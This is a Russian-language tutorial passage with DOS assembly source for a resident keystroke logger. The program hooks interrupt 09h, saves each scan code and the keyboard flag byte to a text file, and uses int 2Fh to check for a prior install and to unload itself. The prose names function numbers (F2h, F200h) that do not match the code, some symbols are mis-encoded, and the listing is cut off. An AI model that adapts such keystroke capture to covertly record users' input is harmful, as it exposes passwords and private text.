В начальной части инициализации мы проверяем наличие хвоста в PSP, если же в командной строке кроме имени команды ничего не было – переходим на дальнейший анализ:
mov cl,es:80h
cmp cl,0
je live
Если хвост присутствует, проверим не был ли введён ожидаемый параметр “off”. При положительном результате проверки устанавливаем флаг требования выгрузки “flag” в единицу и переходим на дальнейший анализ.
Затем вызываем мультиплицированное прерывание int2Fh c функцией F1h и подфункцией проверки на повторную установку 00h. Если наш обработчик находится в оперативной памяти – он возвратит AL=FFH, и программа перейдёт на метку installed. Проверим установлен ли флаг требования выгрузки “flag” . Если flag =1 перейдём на метку unins, где перешлём в первую (резидентную) копию программы запрос на выгрузку из оперативной памяти по средствам прерывания int2Fh и функцией F2h с подфункцией 01h. После чего происходит вывод строки “Program is DIE” на экран сигнализирующей об успешном удалении резидентной части программы. После чего выйдем из программы, обычным образом, функцией 4С00h.
Если флаг требования выгрузки “flag”=0, это говорит о том, что введена неизвестная команда, а наш резидент уже инсталлирован. В этом случае выведем на экран предупреждающую надпись о невозможности повторной установки программы “Program already installed” сопровождаемую звуковым сигналом. После этого завершим программу функцией 4Ch с кодом возврата 01h.
Если после прерывания int2Fh c функцией F200h, возвратиться AL¹FFh, то нашего обработчика в памяти не оказалось. Сохраним смещения и сегменты системных обработчиков int09h и int2Fh, а затем заполним векторы смещениями наших обработчиков.
mov ax,352fh
int 21h
mov word ptr cs:old_2fh,bx
mov word ptr cs:old_2fh+2,es
mov ax,252fh
mov dx,offset new_2fh
int 21h
mov ax,3509h
int 21h
mov word ptr cs:old_09h,bx
mov word ptr cs:old_09h+2,es
mov ax,2509h
mov dx,offset new_09h
int 21h
После этого произведём поиск рабочего файла «s_code&f.txt» в текущем каталоге. Если файл не будет найден, то запустится процедура div_f, которая создаст рабочий файл и запишет в него строку «Skencode&Klav_flag file». В дальнейшем в этот файл будут записываться скэн-коды и байт флагов клавиатуры. Если файл уже существует, будет вызвана процедура div2_f, которая допишет в конец файла текущую дату и время.
Выведем на экран строку «Program installed» подтверждающую установку программы. Последними строками этой части инициализации вызывается функция DOS 31h, которая выполняет завершение программы с оставлением в памяти указанной ее части. Размер резидентной части программы (в параграфах) передается DOS в регистре DX. Размер резидентной секции определяется разностью смещений end_res-main, которая равна длине резидентной части программы в байтах, прибавляется размер PSP (l00h) и еще число 15 (Fh) для того, чтобы после целочисленного деления на 16 результат был округлен в большую сторону.
С целью экономии памяти секция инициализации располагается я конце программы и отбрасывается при ее завершении.
Функция 31h, закрепив за резидентной программой необходимую для ее функционирования память, передает управление командному процессору и вычислительная система переходит в исходное состояние. Наличие программы, резидентной в памяти, никак не отражается на хода вычислительного процесса, за исключением того, что уменьшается объем свободной памяти. Одновременно в память может быть загружено любое число резидентных программ.
Резидентная часть обработчика.
Эта секция программы имеет две точки входа:
1. Перехват прерывания int09h(клавиатура). В результате нажатия или отпускания клавиши на клавиатуре запускается процедура new_09h.
2. Перехват мультиплексорного прерывания int2Fh. В результате перехвата мультиплексорного прерывания запускается процедура new_2fh.
Обработчик прерывания от клавиатуры.
После запуска процедуры new_09h сохраним используемые регистры. Затем получим скэн-код последней нажатой клавиши. В противном случае восстановим регистры и передадим управление следующему по цепочке обработчику клавиатуры (скорее всего это будет BIOS-овский обработчик «int09h»).
in al,60h
cmp al,80h
ja exit
Затем запишем этот скэн-код в буфер, считаем байт флагов клавиатуры из области данных BIOS и также занесём в буфер.
Наш буфер имеет объём 32 байта, поэтому после каждого шестнадцатого нажатия необходимо сохранять буфер в рабочем файле. Для подсчёта нажатий введена переменная-счётчик sch.
Увеличим счётчик на 2, затем проверим полон ли буфер, сравнив счётчик с 32. Если буфер не полон, сохраним использовавшиеся регистры и передадим управление следующему по цепочке обработчику клавиатуры. Если буфер забит, передадим управление процедуре fil.
Эта процедура откроет наш рабочий файл, установит указатель в конец и допишет столько байт из буфера начиная сначала, сколько укажет ей переменная-счётчик.
mov ah,40h
mov cl,sch
mov dx,offset bufer
int 21h
Это сделано для того, чтобы при удалении программы из памяти в файл были записаны все скэн-коды включая команду на удаление. Этот случай рассмотрим ниже. После того как данные будут сохранены, восстановим использовавшиеся регистры и передадим управление следующему по цепочке обработчику клавиатуры.
Процедура new_2fh перехватит прерывание 2Fh, и если прерывание вызвано вместе с функцией F1h, то в зависимости от подфункции значение которой находится в AL выполнит следующие действия:
1. Если подфункция находящаяся в AL=00h (код наличия в памяти нашего обработчика), то наш обработчик возвратит в AL=FFh и выйдет из прерывания.
cmp al,00h
je inst
…
inst: mov al,0ffh
iret
2. Если подфункция находящаяся в AL=01h (команда на удаление из памяти обработчика), то сохраним используемые регистры, вызовем процедуру fil (работа этой процедуры была описана выше), а затем освободим блоки памяти занятые нашим обработчиком, восстановим старые векторы 09h и 2Fh. Восстановим использовавшиеся регистры и выйдем из прерывания.
Если мультиплексорное прерывание было вызвано с другой функцией либо с нашей функцией но с другими подфункциями, то обработчик передаст управление следующему по цепочке обработчику мультиплексорного прерывания.
cmp ah,0f1h
jne out_2fh
cmp al,00h
je inst
cmp al,01h
je off
jmp short out_2fh
inst: mov al,0ffh
iret
out_2fh:
text segment 'code'
assume cs:text,ds:text
org 256
main proc
jmp init
; Поля данных резидентной секции
old_2fh dd 0 ; Ячейка для сохранения системного вектора 2Fh
old_09h dd 0 ; Ячейка для сохранения системного вектора 09h
bufer db 34 dup(?) ; Буфер для скэн-кодов и флагов клавиатуры
sch db 0 ; Счётчик нажатий клавиш
filename db 's_code&f.txt',0 ; Константа содержащая имя файла с которым работает программа
; Обработчик от клавиатуры
new_09h proc
; Сохраним используемые регистры
push ax
push bx
push cx
push dx
push ds
push cs ; Настроим DS на наш сегмент для простоты программирования
pop ds
in al,60h ; Получим скэн-код клавиши
cmp al,80h ; Проверим, является ли скэн-код кодом нажатия
ja exit ; Нет – на выход
mov bh,0 ; 0®BH
mov bl,sch ; Текущее значения счётчика в BL
mov [bufer+bx],al ; Запишем в буфер скэн-код клавиши
inc bl ; Увеличим смещение буфера
push es ; Сохраним регистр ES
mov ax,40h ; Настроим ES на начало области данных BIOS
mov es,ax
mov al,es:[17h] ; Занесём байт флагов клавиатуры в AL
pop es ; Восстановим ES
mov [bufer+bx],al ; Запишем байт флагов в буфер
inc bl ; Увеличим смещение на 1
add sch,2 ; Счётчик нажатий +2
cmp sch,32 ; Пора скидывать буфер в файл?
je go ; Да – на процедуру записи в файл
jmp exit ; Нет – на выход
go: call fil ; Вызов процедуры записи в файл
; Восстановим использовавшиеся регистры
exit: pop ds
pop dx
pop cx
pop bx
pop ax
jmp cs:old_09h ; Передадим управление системному обработчику “int09h”
new_09h endp ; Конец процедуры обработчика от клавиатуры
; Процедура записи в файл скэн-кодов и флагов клавиатуры
fil proc
push cs ; Настроим DS на наш сегмент
pop ds
mov ah,3dh ; Функция открытия файла
mov al,1 ; для записи
mov dx,offset filename ; DS:DX ¬ ASCIIZ имени файла
int 21h
mov bx,ax ; Дескриптор в ВХ
xor cx,cx ; Отчистим СХ
xor dx,dx ; и DX
mov ax,4202h ; Функция установки указателя в конец файла
int 21h
mov ah,40h ; Функция записи в файл
mov cl,sch ; CL ¬ количество байт
mov dx,offset bufer ; DS:DX ¬ адрес буфера
int 21h
mov ah,3eh ; Функция закрытия файла
int 21h
mov sch,0 ; Обнулим счётчик
ret ; Выход из процедуры
fil endp ; Конец процедуры записи в файл
; Обработчик мультиплексорного прерывания
new_2fh proc
cmp ah,0f1h ; Проверим номер функции мультиплексорного прерывания
jne out_2fh ; Не наша – на выход
cmp al,00h ; Подфункция проверки на повторную установку?
je inst ; Да, сообщим о невозможности повторной установки
cmp al,01h ; Подфункция выгрузки?
je off ; Да – на выгрузку
jmp short out_2fh ; Неизвестная подфункция, на выход
inst: mov al,0ffh ; Программа уже установлена
iret ; Выход из прерывания
out_2fh:
jmp cs:old_2fh ; Переход в следующий по цепочке обработчик прерывания 2Fh
; Выгрузим программу из памяти, предварительно восстановив все перехваченные ею векторы
; Сохраним используемые регистры
off: push ds
push es
push dx
push ax
push bx
push cx
call fil ; Вызов процедуры записи в файл содержимого буфера
; Восстановим использовавшиеся регистры
pop cx
pop bx
pop ax
; Восстановим вектор 09h
mov ax,2509h ; Функция установки вектора
lds dx,cs:old_09h ; Заполним DS:DX
int 21h
; Восстановим вектор 2fh
mov ax,252fh ; Функция установки вектора
lds dx,cs:old_2fh ; Заполним DS:DX
int 21h
; Получим из PSP адрес собственного окружения и выгрузим его
mov es,cs:2ch ; ES ® окружение
mov ah,49h ; Функция освобождения блока памяти
int 21h
; Выгрузим теперь саму программу
push cs ; Загрузим в ES содержимое CS, т.е. сегментный адрес PSP
pop es
mov ah,49h ; Функция освобождения блока памяти